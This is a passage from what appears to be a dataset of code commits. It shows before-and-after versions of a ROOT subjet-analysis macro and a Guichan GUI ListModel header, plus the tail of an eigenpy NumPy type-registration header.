type.\n    \/\/ In this case, the registration is not required.\n    if(isNumpyNativeType<Scalar>())\n      return NumpyEquivalentType<Scalar>::type_code;\n    \n    \/\/ Retrieve the registered type for the current Scalar\n    if(py_type_ptr == NULL)\n    { \/\/ retrive the type from Boost.Python\n      py_type_ptr = Register::getPyType<Scalar>();\n    }\n    \n    if(Register::isRegistered(py_type_ptr))\n      return Register::getTypeCode(py_type_ptr); \/\/ the type is already registered\n    \n    PyArray_GetItemFunc * getitem = &internal::SpecialMethods<Scalar>::getitem;\n    PyArray_SetItemFunc * setitem = &internal::SpecialMethods<Scalar>::setitem;\n    PyArray_NonzeroFunc * nonzero = &internal::SpecialMethods<Scalar>::nonzero;\n    PyArray_CopySwapFunc * copyswap = &internal::SpecialMethods<Scalar>::copyswap;\n    PyArray_CopySwapNFunc * copyswapn = reinterpret_cast<PyArray_CopySwapNFunc*>(&internal::SpecialMethods<Scalar>::copyswapn);\n    PyArray_DotFunc * dotfunc = &internal::SpecialMethods<Scalar>::dotfunc;\n    PyArray_FillWithScalarFunc * fillwithscalar = &internal::SpecialMethods<Scalar>::fillwithscalar;\n\/\/    PyArray_CastFunc * cast = &internal::SpecialMethods<Scalar>::cast;\n    \n    int code = Register::registerNewType(py_type_ptr,\n                                         &typeid(Scalar),\n                                         sizeof(Scalar),\n                                         internal::OffsetOf<Scalar>::value,\n                                         getitem, setitem, nonzero,\n                                         copyswap, copyswapn,\n                                         dotfunc,\n                                         fillwithscalar);\n    \n    call_PyArray_RegisterCanCast(call_PyArray_DescrFromType(NPY_OBJECT),\n                                 code, NPY_NOSCALAR);\n    \n    return code;\n  }\n  \n} \/\/ namespace eigenpy\n\n#endif \/\/ __eigenpy_user_type_hpp__\n<|endoftext|>"}
{"text":"<commit_before>#include \"UserCode\/diall\/interface\/genParticleProducer.h\"\n#include \"UserCode\/diall\/interface\/hiEventProducer.h\"\n#include \"UserCode\/diall\/interface\/lwMuonProducer.h\"\n#include \"UserCode\/diall\/interface\/pfParticleProducer.h\"\n#include \"UserCode\/diall\/interface\/LWJetProducer.h\"\n#include \"UserCode\/diall\/interface\/lwJetContainer.h\"\n#include \"UserCode\/diall\/interface\/lwJetFromForestProducer.h\"\n#include \"UserCode\/diall\/interface\/triggerProducer.h\"\n#include \"UserCode\/diall\/interface\/anaBaseTask.h\"\n#include \"UserCode\/diall\/interface\/anaJetEnergyScale.h\"\n#include \"UserCode\/diall\/interface\/anaJetMatching.h\"\n#include \"UserCode\/diall\/interface\/anaJetQA.h\"\n#include \"UserCode\/diall\/interface\/anaRhoProducer.h\"\n#include \"UserCode\/diall\/interface\/anaMET.h\"\n#include \"UserCode\/diall\/interface\/anaMuonIsolation.h\"\n#include \"UserCode\/diall\/interface\/anaMuonMatcher.h\"\n#include \"UserCode\/diall\/interface\/anaPuppiProducer.h\"\n#include \"UserCode\/diall\/interface\/anaPuppiParticles.h\"\n#include \"UserCode\/diall\/interface\/anaSubJet.h\"\n#include \"UserCode\/diall\/interface\/anaZToMuMu.h\"\n\n#include <TList.h>\n#include <TChain.h>\n#include <TFile.h>\n\n#include <iostream>\n\nusing namespace std;\n\nvoid analyzeSubJets(std::vector<std::string> urls, const char *outname = \"eventObjects.root\", Long64_t nentries = 20, Int_t firstF = -1, Int_t lastF = -1, Int_t firstEvent = 0) {\n\n  \/*\n    ptminType: minimum raw pt for particles used by puppi\n    0 : 0 GeV\n    1 : 1 GeV\n    2 : 2 GeV\n\n    jetSignalType: jets used to select jetty region in events\n    0 : detector-level jets (akPu4PF)\n    1 : particle-level jets (gen jets)\n   *\/\n\n  double ptminjet = 30.;\n  TString jetName = \"aktCs4PFSoftDrop\";\n  TString jetTreeName = \"akCs4PFSoftDropJetAnalyzer\";\n  \/\/jetName = \"akCs4PFFilter\";\n  \/\/jetTreeName = \"akCs4PFFilterJetAnalyzer\";\n\n  std::cout << \"analyzing subjets for: \" << jetName << \" tree: \" << jetTreeName << std::endl;\n   \n  std::cout << \"nfiles: \" << urls.size() << std::endl;\n  for (auto i = urls.begin(); i != urls.end(); ++i)\n    std::cout << *i << std::endl;\n\n  size_t firstFile = 0;\n  size_t lastFile = urls.size();\n\n  if(firstF>-1) {\n    firstFile = (size_t)firstF;\n    lastFile = (size_t)lastF;\n  }\n  std::cout << \"firstFile: \" << firstFile << \"  lastFile: \" << lastFile << std::endl;\n\n  Int_t lastEvent = nentries;\n  if(firstEvent>0) {\n    lastEvent = firstEvent + nentries;\n  }\n  std::cout << \"firstEvent: \" << firstEvent << std::endl;\n  \n  \/\/add files to chain\n  TChain *chain = NULL;\n  chain = new TChain(\"hiEvtAnalyzer\/HiTree\");\n  for(size_t i=firstFile; i<lastFile; i++) chain->Add(urls[i].c_str());\n  Printf(\"hiTree done\");\n\n  TChain *hltTree = new TChain(\"hltanalysis\/HltTree\");\n  for(size_t i=firstFile; i<lastFile; i++) hltTree->Add(urls[i].c_str());\n  Printf(\"hltTree done\");\n  \n  TChain *jetTree = new TChain(Form(\"%s\/t\",jetTreeName.Data()));\n  for(size_t i=firstFile; i<lastFile; i++) jetTree->Add(urls[i].c_str());\n  chain->AddFriend(jetTree);\n  Printf(\"jetTree done\");\n\n  \/\/ TChain *csJetTree = new TChain(Form(\"%s\/t\",\"akCs4PFJetAnalyzer\"));\n  \/\/ for(size_t i=firstFile; i<lastFile; i++) csJetTree->Add(urls[i].c_str());\n  \/\/ chain->AddFriend(csJetTree);\n  \/\/ Printf(\"csJetTree done\");\n\n  TList *fEventObjects = new TList();\n\n  \/\/---------------------------------------------------------------\n  \/\/ producers\n  \/\/\n  hiEventProducer *p_evt = new hiEventProducer(\"hiEvtProd\");\n  p_evt->SetInput(chain);\n  p_evt->SetHIEventContName(\"hiEventContainer\");\n  p_evt->SetEventObjects(fEventObjects);\n\n  triggerProducer *p_trg = new triggerProducer(\"trigProd\");\n  p_trg->SetInput(hltTree);\n  p_trg->SetTriggerMapName(\"triggerMap\");\n  p_trg->AddTrigger(\"HLT_HIPuAK4CaloJet100_Eta5p1_v1\");\n  p_trg->SetEventObjects(fEventObjects);\n\n  lwJetFromForestProducer *p_PUJet = new lwJetFromForestProducer(\"lwJetForestProd\");\n  p_PUJet->SetInput(chain);\n  p_PUJet->SetJetContName(jetName);\n  p_PUJet->SetGenJetContName(\"\");\n  p_PUJet->SetEventObjects(fEventObjects);\n  p_PUJet->SetRadius(0.4);\n  p_PUJet->SetMinJetPt(ptminjet);\n  \/\/ lwJetFromForestProducer *p_CSJet = new lwJetFromForestProducer(\"lwJetForestProd\");\n  \/\/ p_CSJet->SetInput(csJetTree);\n  \/\/ p_CSJet->SetJetContName(\"aktCs4PF\");\n  \/\/ p_CSJet->SetGenJetContName(\"\");\n  \/\/ p_CSJet->SetEventObjects(fEventObjects);\n  \/\/ p_CSJet->SetRadius(0.4);\n  \n  \/\/---------------------------------------------------------------\n  \/\/analysis modules\n  \/\/\n\n  \/\/handler to which all modules will be added\n  anaBaseTask *handler = new anaBaseTask(\"handler\",\"handler\");\n\n  anaSubJet *anasubjets = new anaSubJet(\"anaSubJets\",\"anaSubJets\");\n  anasubjets->ConnectEventObject(fEventObjects);\n  anasubjets->SetHiEvtName(\"hiEventContainer\");\n  anasubjets->SetTriggerMapName(\"triggerMap\");\n  anasubjets->AddTriggerSel(\"HLT_HIPuAK4CaloJet100_Eta5p1_v1\");\n  anasubjets->SetJetsName(jetName);\n  anasubjets->SetNCentBins(4);\n  anasubjets->SetJetEtaRange(-2.,2.);\n  anasubjets->SetDoDijets(true);\n  anasubjets->AddLeadingJetPtBin(120.,150.);\n  anasubjets->AddLeadingJetPtBin(150.,180.);\n  anasubjets->AddLeadingJetPtBin(180.,220.);\n  anasubjets->AddLeadingJetPtBin(220.,260.);\n  anasubjets->AddLeadingJetPtBin(260.,300.);\n  anasubjets->AddLeadingJetPtBin(300.,500.);\n  anasubjets->SetPtMinSubleading(30.);\n  handler->Add(anasubjets);\n\n  anaSubJet *anasubjetsMassCut = new anaSubJet(\"anasubjetsMassCut\",\"anasubjetsMassCut\");\n  anasubjetsMassCut->ConnectEventObject(fEventObjects);\n  anasubjetsMassCut->SetHiEvtName(\"hiEventContainer\");\n  anasubjetsMassCut->SetTriggerMapName(\"triggerMap\");\n  anasubjetsMassCut->AddTriggerSel(\"HLT_HIPuAK4CaloJet100_Eta5p1_v1\");\n  anasubjetsMassCut->SetJetsName(jetName);\n  anasubjetsMassCut->SetNCentBins(4);\n  anasubjetsMassCut->SetJetEtaRange(-2.,2.);\n  anasubjetsMassCut->SetDoDijets(true);\n  anasubjetsMassCut->AddLeadingJetPtBin(120.,150.);\n  anasubjetsMassCut->AddLeadingJetPtBin(150.,180.);\n  anasubjetsMassCut->AddLeadingJetPtBin(180.,220.);\n  anasubjetsMassCut->AddLeadingJetPtBin(220.,260.);\n  anasubjetsMassCut->AddLeadingJetPtBin(260.,300.);\n  anasubjetsMassCut->AddLeadingJetPtBin(300.,500.);\n  anasubjetsMassCut->SetPtMinSubleading(30.);\n  anasubjetsMassCut->SetMinMassLeading(10.);\n  handler->Add(anasubjetsMassCut);\n\n  \/\/ anaSubJet *anasubjetsCSJets = new anaSubJet(\"anasubjetsCSJets\",\"anasubjetsCSJets\");\n  \/\/ anasubjetsCSJets->ConnectEventObject(fEventObjects);\n  \/\/ anasubjetsCSJets->SetHiEvtName(\"hiEventContainer\");\n  \/\/ anasubjetsCSJets->SetJetsName(\"aktCs4PF\");\n  \/\/ anasubjetsCSJets->SetNCentBins(4);\n  \/\/ anasubjetsCSJets->SetJetEtaRange(-2.,2.);\n  \/\/ anasubjetsCSJets->SetDoDijets(false);\n  \/\/ handler->Add(anasubjetsCSJets);\n \n  \/\/---------------------------------------------------------------\n  \/\/Event loop\n  \/\/---------------------------------------------------------------\n  Long64_t entries_tot =  chain->GetEntries(); \/\/93064\n  if(nentries<0) lastEvent = chain->GetEntries();\n  Printf(\"nentries: %lld  tot: %lld\",nentries,entries_tot);\n  for (Long64_t jentry=firstEvent; jentry<lastEvent; ++jentry) {\n    if(jentry%10000==0) cout << \"entry: \"<< jentry << endl;\n    \/\/Run producers\n    \/\/Printf(\"produce hiEvent\");\n    p_evt->Run(jentry);   \/\/hi event properties\n    \/\/Printf(\"produce PU jets\");\n    p_PUJet->Run(jentry); \/\/forest jets\n    p_trg->Run(jentry);\t    \n\n    \/\/Execute all analysis tasks\n    handler->ExecuteTask();\n  }\n    \n  fEventObjects->Print();\n\n  TFile *out = new TFile(outname,\"RECREATE\");\n  TList *tasks = handler->GetListOfTasks();\n  TIter next(tasks);\n  anaBaseTask *obj;\n  while ((obj = dynamic_cast<anaBaseTask*>(next()) ))\n    if(obj->GetOutput()) obj->GetOutput()->Write(obj->GetName(),TObject::kSingleKey);\n  \n  out->Write();\n  out->Close();\n  \n}\n<commit_msg>lastFile fix<commit_after>#include \"UserCode\/diall\/interface\/genParticleProducer.h\"\n#include \"UserCode\/diall\/interface\/hiEventProducer.h\"\n#include \"UserCode\/diall\/interface\/lwMuonProducer.h\"\n#include \"UserCode\/diall\/interface\/pfParticleProducer.h\"\n#include \"UserCode\/diall\/interface\/LWJetProducer.h\"\n#include \"UserCode\/diall\/interface\/lwJetContainer.h\"\n#include \"UserCode\/diall\/interface\/lwJetFromForestProducer.h\"\n#include \"UserCode\/diall\/interface\/triggerProducer.h\"\n#include \"UserCode\/diall\/interface\/anaBaseTask.h\"\n#include \"UserCode\/diall\/interface\/anaJetEnergyScale.h\"\n#include \"UserCode\/diall\/interface\/anaJetMatching.h\"\n#include \"UserCode\/diall\/interface\/anaJetQA.h\"\n#include \"UserCode\/diall\/interface\/anaRhoProducer.h\"\n#include \"UserCode\/diall\/interface\/anaMET.h\"\n#include \"UserCode\/diall\/interface\/anaMuonIsolation.h\"\n#include \"UserCode\/diall\/interface\/anaMuonMatcher.h\"\n#include \"UserCode\/diall\/interface\/anaPuppiProducer.h\"\n#include \"UserCode\/diall\/interface\/anaPuppiParticles.h\"\n#include \"UserCode\/diall\/interface\/anaSubJet.h\"\n#include \"UserCode\/diall\/interface\/anaZToMuMu.h\"\n\n#include <TList.h>\n#include <TChain.h>\n#include <TFile.h>\n\n#include <iostream>\n\nusing namespace std;\n\nvoid analyzeSubJets(std::vector<std::string> urls, const char *outname = \"eventObjects.root\", Long64_t nentries = 20, Int_t firstF = -1, Int_t lastF = -1, Int_t firstEvent = 0) {\n\n  \/*\n    ptminType: minimum raw pt for particles used by puppi\n    0 : 0 GeV\n    1 : 1 GeV\n    2 : 2 GeV\n\n    jetSignalType: jets used to select jetty region in events\n    0 : detector-level jets (akPu4PF)\n    1 : particle-level jets (gen jets)\n   *\/\n\n  double ptminjet = 30.;\n  TString jetName = \"aktCs4PFSoftDrop\";\n  TString jetTreeName = \"akCs4PFSoftDropJetAnalyzer\";\n  \/\/jetName = \"akCs4PFFilter\";\n  \/\/jetTreeName = \"akCs4PFFilterJetAnalyzer\";\n\n  std::cout << \"analyzing subjets for: \" << jetName << \" tree: \" << jetTreeName << std::endl;\n   \n  std::cout << \"nfiles: \" << urls.size() << std::endl;\n  for (auto i = urls.begin(); i != urls.end(); ++i)\n    std::cout << *i << std::endl;\n\n  size_t firstFile = 0;\n  size_t lastFile = urls.size();\n\n  if(firstF>-1) {\n    firstFile = (size_t)firstF;\n    lastFile = std::min((size_t)lastF,lastFile);\n  }\n  std::cout << \"firstFile: \" << firstFile << \"  lastFile: \" << lastFile << std::endl;\n\n  Int_t lastEvent = nentries;\n  if(firstEvent>0) {\n    lastEvent = firstEvent + nentries;\n  }\n  std::cout << \"firstEvent: \" << firstEvent << std::endl;\n  \n  \/\/add files to chain\n  TChain *chain = NULL;\n  chain = new TChain(\"hiEvtAnalyzer\/HiTree\");\n  for(size_t i=firstFile; i<lastFile; i++) chain->Add(urls[i].c_str());\n  Printf(\"hiTree done\");\n\n  TChain *hltTree = new TChain(\"hltanalysis\/HltTree\");\n  for(size_t i=firstFile; i<lastFile; i++) hltTree->Add(urls[i].c_str());\n  Printf(\"hltTree done\");\n  \n  TChain *jetTree = new TChain(Form(\"%s\/t\",jetTreeName.Data()));\n  for(size_t i=firstFile; i<lastFile; i++) jetTree->Add(urls[i].c_str());\n  chain->AddFriend(jetTree);\n  Printf(\"jetTree done\");\n\n  \/\/ TChain *csJetTree = new TChain(Form(\"%s\/t\",\"akCs4PFJetAnalyzer\"));\n  \/\/ for(size_t i=firstFile; i<lastFile; i++) csJetTree->Add(urls[i].c_str());\n  \/\/ chain->AddFriend(csJetTree);\n  \/\/ Printf(\"csJetTree done\");\n\n  TList *fEventObjects = new TList();\n\n  \/\/---------------------------------------------------------------\n  \/\/ producers\n  \/\/\n  hiEventProducer *p_evt = new hiEventProducer(\"hiEvtProd\");\n  p_evt->SetInput(chain);\n  p_evt->SetHIEventContName(\"hiEventContainer\");\n  p_evt->SetEventObjects(fEventObjects);\n\n  triggerProducer *p_trg = new triggerProducer(\"trigProd\");\n  p_trg->SetInput(hltTree);\n  p_trg->SetTriggerMapName(\"triggerMap\");\n  p_trg->AddTrigger(\"HLT_HIPuAK4CaloJet100_Eta5p1_v1\");\n  p_trg->SetEventObjects(fEventObjects);\n\n  lwJetFromForestProducer *p_PUJet = new lwJetFromForestProducer(\"lwJetForestProd\");\n  p_PUJet->SetInput(chain);\n  p_PUJet->SetJetContName(jetName);\n  p_PUJet->SetGenJetContName(\"\");\n  p_PUJet->SetEventObjects(fEventObjects);\n  p_PUJet->SetRadius(0.4);\n  p_PUJet->SetMinJetPt(ptminjet);\n  \/\/ lwJetFromForestProducer *p_CSJet = new lwJetFromForestProducer(\"lwJetForestProd\");\n  \/\/ p_CSJet->SetInput(csJetTree);\n  \/\/ p_CSJet->SetJetContName(\"aktCs4PF\");\n  \/\/ p_CSJet->SetGenJetContName(\"\");\n  \/\/ p_CSJet->SetEventObjects(fEventObjects);\n  \/\/ p_CSJet->SetRadius(0.4);\n  \n  \/\/---------------------------------------------------------------\n  \/\/analysis modules\n  \/\/\n\n  \/\/handler to which all modules will be added\n  anaBaseTask *handler = new anaBaseTask(\"handler\",\"handler\");\n\n  anaSubJet *anasubjets = new anaSubJet(\"anaSubJets\",\"anaSubJets\");\n  anasubjets->ConnectEventObject(fEventObjects);\n  anasubjets->SetHiEvtName(\"hiEventContainer\");\n  anasubjets->SetTriggerMapName(\"triggerMap\");\n  anasubjets->AddTriggerSel(\"HLT_HIPuAK4CaloJet100_Eta5p1_v1\");\n  anasubjets->SetJetsName(jetName);\n  anasubjets->SetNCentBins(4);\n  anasubjets->SetJetEtaRange(-2.,2.);\n  anasubjets->SetDoDijets(true);\n  anasubjets->AddLeadingJetPtBin(120.,150.);\n  anasubjets->AddLeadingJetPtBin(150.,180.);\n  anasubjets->AddLeadingJetPtBin(180.,220.);\n  anasubjets->AddLeadingJetPtBin(220.,260.);\n  anasubjets->AddLeadingJetPtBin(260.,300.);\n  anasubjets->AddLeadingJetPtBin(300.,500.);\n  anasubjets->SetPtMinSubleading(30.);\n  handler->Add(anasubjets);\n\n  anaSubJet *anasubjetsMassCut = new anaSubJet(\"anasubjetsMassCut\",\"anasubjetsMassCut\");\n  anasubjetsMassCut->ConnectEventObject(fEventObjects);\n  anasubjetsMassCut->SetHiEvtName(\"hiEventContainer\");\n  anasubjetsMassCut->SetTriggerMapName(\"triggerMap\");\n  anasubjetsMassCut->AddTriggerSel(\"HLT_HIPuAK4CaloJet100_Eta5p1_v1\");\n  anasubjetsMassCut->SetJetsName(jetName);\n  anasubjetsMassCut->SetNCentBins(4);\n  anasubjetsMassCut->SetJetEtaRange(-2.,2.);\n  anasubjetsMassCut->SetDoDijets(true);\n  anasubjetsMassCut->AddLeadingJetPtBin(120.,150.);\n  anasubjetsMassCut->AddLeadingJetPtBin(150.,180.);\n  anasubjetsMassCut->AddLeadingJetPtBin(180.,220.);\n  anasubjetsMassCut->AddLeadingJetPtBin(220.,260.);\n  anasubjetsMassCut->AddLeadingJetPtBin(260.,300.);\n  anasubjetsMassCut->AddLeadingJetPtBin(300.,500.);\n  anasubjetsMassCut->SetPtMinSubleading(30.);\n  anasubjetsMassCut->SetMinMassLeading(10.);\n  handler->Add(anasubjetsMassCut);\n\n  \/\/ anaSubJet *anasubjetsCSJets = new anaSubJet(\"anasubjetsCSJets\",\"anasubjetsCSJets\");\n  \/\/ anasubjetsCSJets->ConnectEventObject(fEventObjects);\n  \/\/ anasubjetsCSJets->SetHiEvtName(\"hiEventContainer\");\n  \/\/ anasubjetsCSJets->SetJetsName(\"aktCs4PF\");\n  \/\/ anasubjetsCSJets->SetNCentBins(4);\n  \/\/ anasubjetsCSJets->SetJetEtaRange(-2.,2.);\n  \/\/ anasubjetsCSJets->SetDoDijets(false);\n  \/\/ handler->Add(anasubjetsCSJets);\n \n  \/\/---------------------------------------------------------------\n  \/\/Event loop\n  \/\/---------------------------------------------------------------\n  Long64_t entries_tot =  chain->GetEntries(); \/\/93064\n  if(nentries<0) lastEvent = chain->GetEntries();\n  Printf(\"nentries: %lld  tot: %lld\",nentries,entries_tot);\n  for (Long64_t jentry=firstEvent; jentry<lastEvent; ++jentry) {\n    if(jentry%10000==0) cout << \"entry: \"<< jentry << endl;\n    \/\/Run producers\n    \/\/Printf(\"produce hiEvent\");\n    p_evt->Run(jentry);   \/\/hi event properties\n    \/\/Printf(\"produce PU jets\");\n    p_PUJet->Run(jentry); \/\/forest jets\n    p_trg->Run(jentry);\t    \n\n    \/\/Execute all analysis tasks\n    handler->ExecuteTask();\n  }\n    \n  fEventObjects->Print();\n\n  TFile *out = new TFile(outname,\"RECREATE\");\n  TList *tasks = handler->GetListOfTasks();\n  TIter next(tasks);\n  anaBaseTask *obj;\n  while ((obj = dynamic_cast<anaBaseTask*>(next()) ))\n    if(obj->GetOutput()) obj->GetOutput()->Write(obj->GetName(),TObject::kSingleKey);\n  \n  out->Write();\n  out->Close();\n  \n}\n<|endoftext|>"}
{"text":"<commit_before>\/*      _______   __   __   __   ______   __   __   _______   __   __\n *     \/ _____\/\\ \/ \/\\ \/ \/\\ \/ \/\\ \/ ____\/\\ \/ \/\\ \/ \/\\ \/ ___  \/\\ \/  |\\\/ \/\\\n *    \/ \/\\____\\\/\/ \/ \/\/ \/ \/\/ \/ \/\/ \/\\___\\\/\/ \/_\/\/ \/ \/\/ \/\\_\/ \/ \/\/ , |\/ \/ \/\n *   \/ \/ \/__   \/ \/ \/\/ \/ \/\/ \/ \/\/ \/ \/    \/ ___  \/ \/\/ ___  \/ \/\/ \/| ' \/ \/\n *  \/ \/_\/\/ \/\\ \/ \/_\/\/ \/ \/\/ \/ \/\/ \/_\/_   \/ \/ \/\/ \/ \/\/ \/\\_\/ \/ \/\/ \/ |  \/ \/\n * \/______\/ \/\/______\/ \/\/_\/ \/\/_____\/\\ \/_\/ \/\/_\/ \/\/_\/ \/\/_\/ \/\/_\/ \/|_\/ \/\n * \\______\\\/ \\______\\\/ \\_\\\/ \\_____\\\/ \\_\\\/ \\_\\\/ \\_\\\/ \\_\\\/ \\_\\\/ \\_\\\/\n *\n * Copyright (c) 2004, 2005, 2006 Olof Naessn and Per Larsson\n *\n *                                                         Js_.\/\n * Per Larsson a.k.a finalman                          _RqZ{a<^_aa\n * Olof Naessn a.k.a jansem\/yakslem                _asww7!uY`>  )\\a\/\/\n *                                                 _Qhm`] _f \"'c  1!5m\n * Visit: http:\/\/guichan.darkbits.org             )Qk<P ` _: :+' .'  \"{[\n *                                               .)j(] .d_\/ '-(  P .   S\n * License: (BSD)                                <Td\/Z <fP\"5(\\\"??\"\\a.  .L\n * Redistribution and use in source and          _dV>ws?a-?'      ._\/L  #'\n * binary forms, with or without                 )4d[#7r, .   '     )d`)[\n * modification, are permitted provided         _Q-5'5W..j\/?'   -?!\\)cam'\n * that the following conditions are met:       j<<WP+k\/);.        _W=j f\n * 1. Redistributions of source code must       .$%w\\\/]Q  . .\"'  .  mj$\n *    retain the above copyright notice,        ]E.pYY(Q]>.   a     J@\\\n *    this list of conditions and the           j(]1u<sE\"L,. .   .\/^ ]{a\n *    following disclaimer.                     4'_uomm\\.  )L);-4     (3=\n * 2. Redistributions in binary form must        )_]X{Z('a_\"a7'<a\"a,  ]\"[\n *    reproduce the above copyright notice,       #}<]m7`Za??4,P-\"'7. ).m\n *    this list of conditions and the            ]d2e)Q(<Q(  ?94   b-  LQ\/\n *    following disclaimer in the                <B!<\/]C)d_, '(<' .f. =C+m\n *    documentation and\/or other materials      .Z!=J ]e []('-4f _ ) -.)m]'\n *    provided with the distribution.          .w[5]' _[ \/.)_-\"+?   _\/ <W\"\n * 3. Neither the name of Guichan nor the      :$we` _! + _\/ .        j?\n *    names of its contributors may be used     =3)= _f  (_yQmWW$#(    \"\n *    to endorse or promote products derived     -   W,  sQQQQmZQ#Wwa]..\n *    from this software without specific        (js, \\[QQW$QWW#?!V\"\".\n *    prior written permission.                    ]y:.<\\..          .\n *                                                 -]n w\/ '         [.\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT       )\/ )\/           !\n * HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY         <  (; sac    ,    '\n * EXPRESS OR IMPLIED WARRANTIES, INCLUDING,               ]^ .-  %\n * BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF            c <   r\n * MERCHANTABILITY AND FITNESS FOR A PARTICULAR            aga<  <La\n * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE          5%  )P'-3L\n * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR        _bQf` y`..)a\n * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,          ,J?4P'.P\"_(\\?d'.,\n * EXEMPLARY, OR CONSEQUENTIAL DAMAGES               _Pa,)!f\/<[]\/  ?\"\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT      _2-..:. .r+_,.. .\n * OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,     ?a.<%\"'  \" -'.a_ _,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION)                     ^\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,\n * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN\n * IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#ifndef GCN_LISTMODEL_HPP\n#define GCN_LISTMODEL_HPP\n\n#include <string>\n\n#include \"guichan\/platform.hpp\"\n\nnamespace gcn\n{\n    \/**\n     * Represents a list. It is used in certain Widgets, like the ListBox, to\n     * handle a list with string elements. If you want to use Widgets like\n     * ListBox, you should inherit from this calss and implement it's\n     * functions.\n     *\/\n    class GCN_CORE_DECLSPEC ListModel\n    {\n\n    public:\n        \/**\n         * Destructor.\n         *\/\n        virtual ~ListModel() { }\n\n        \/**\n         * Gets the number of elements in the ListModel.\n         *\n         * @return the number of elements in the ListModel\n         *\/\n        virtual int getNumberOfElements() = 0;\n\n        \/**\n         * Gets an element at a certain index in the list.\n         *\n         * @param i an index in the list.\n         * @return an element as a string.\n         *\/\n        virtual std::string getElementAt(int i) = 0;\n    };\n}\n\n#endif \/\/ end GCN_LISTMODEL_HPP\n<commit_msg>A spelling misstake has been fixed.<commit_after>\/*      _______   __   __   __   ______   __   __   _______   __   __\n *     \/ _____\/\\ \/ \/\\ \/ \/\\ \/ \/\\ \/ ____\/\\ \/ \/\\ \/ \/\\ \/ ___  \/\\ \/  |\\\/ \/\\\n *    \/ \/\\____\\\/\/ \/ \/\/ \/ \/\/ \/ \/\/ \/\\___\\\/\/ \/_\/\/ \/ \/\/ \/\\_\/ \/ \/\/ , |\/ \/ \/\n *   \/ \/ \/__   \/ \/ \/\/ \/ \/\/ \/ \/\/ \/ \/    \/ ___  \/ \/\/ ___  \/ \/\/ \/| ' \/ \/\n *  \/ \/_\/\/ \/\\ \/ \/_\/\/ \/ \/\/ \/ \/\/ \/_\/_   \/ \/ \/\/ \/ \/\/ \/\\_\/ \/ \/\/ \/ |  \/ \/\n * \/______\/ \/\/______\/ \/\/_\/ \/\/_____\/\\ \/_\/ \/\/_\/ \/\/_\/ \/\/_\/ \/\/_\/ \/|_\/ \/\n * \\______\\\/ \\______\\\/ \\_\\\/ \\_____\\\/ \\_\\\/ \\_\\\/ \\_\\\/ \\_\\\/ \\_\\\/ \\_\\\/\n *\n * Copyright (c) 2004, 2005, 2006 Olof Naessn and Per Larsson\n *\n *                                                         Js_.\/\n * Per Larsson a.k.a finalman                          _RqZ{a<^_aa\n * Olof Naessn a.k.a jansem\/yakslem                _asww7!uY`>  )\\a\/\/\n *                                                 _Qhm`] _f \"'c  1!5m\n * Visit: http:\/\/guichan.darkbits.org             )Qk<P ` _: :+' .'  \"{[\n *                                               .)j(] .d_\/ '-(  P .   S\n * License: (BSD)                                <Td\/Z <fP\"5(\\\"??\"\\a.  .L\n * Redistribution and use in source and          _dV>ws?a-?'      ._\/L  #'\n * binary forms, with or without                 )4d[#7r, .   '     )d`)[\n * modification, are permitted provided         _Q-5'5W..j\/?'   -?!\\)cam'\n * that the following conditions are met:       j<<WP+k\/);.        _W=j f\n * 1. Redistributions of source code must       .$%w\\\/]Q  . .\"'  .  mj$\n *    retain the above copyright notice,        ]E.pYY(Q]>.   a     J@\\\n *    this list of conditions and the           j(]1u<sE\"L,. .   .\/^ ]{a\n *    following disclaimer.                     4'_uomm\\.  )L);-4     (3=\n * 2. Redistributions in binary form must        )_]X{Z('a_\"a7'<a\"a,  ]\"[\n *    reproduce the above copyright notice,       #}<]m7`Za??4,P-\"'7. ).m\n *    this list of conditions and the            ]d2e)Q(<Q(  ?94   b-  LQ\/\n *    following disclaimer in the                <B!<\/]C)d_, '(<' .f. =C+m\n *    documentation and\/or other materials      .Z!=J ]e []('-4f _ ) -.)m]'\n *    provided with the distribution.          .w[5]' _[ \/.)_-\"+?   _\/ <W\"\n * 3. Neither the name of Guichan nor the      :$we` _! + _\/ .        j?\n *    names of its contributors may be used     =3)= _f  (_yQmWW$#(    \"\n *    to endorse or promote products derived     -   W,  sQQQQmZQ#Wwa]..\n *    from this software without specific        (js, \\[QQW$QWW#?!V\"\".\n *    prior written permission.                    ]y:.<\\..          .\n *                                                 -]n w\/ '         [.\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT       )\/ )\/           !\n * HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY         <  (; sac    ,    '\n * EXPRESS OR IMPLIED WARRANTIES, INCLUDING,               ]^ .-  %\n * BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF            c <   r\n * MERCHANTABILITY AND FITNESS FOR A PARTICULAR            aga<  <La\n * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE          5%  )P'-3L\n * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR        _bQf` y`..)a\n * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,          ,J?4P'.P\"_(\\?d'.,\n * EXEMPLARY, OR CONSEQUENTIAL DAMAGES               _Pa,)!f\/<[]\/  ?\"\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT      _2-..:. .r+_,.. .\n * OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,     ?a.<%\"'  \" -'.a_ _,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION)                     ^\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,\n * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN\n * IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n 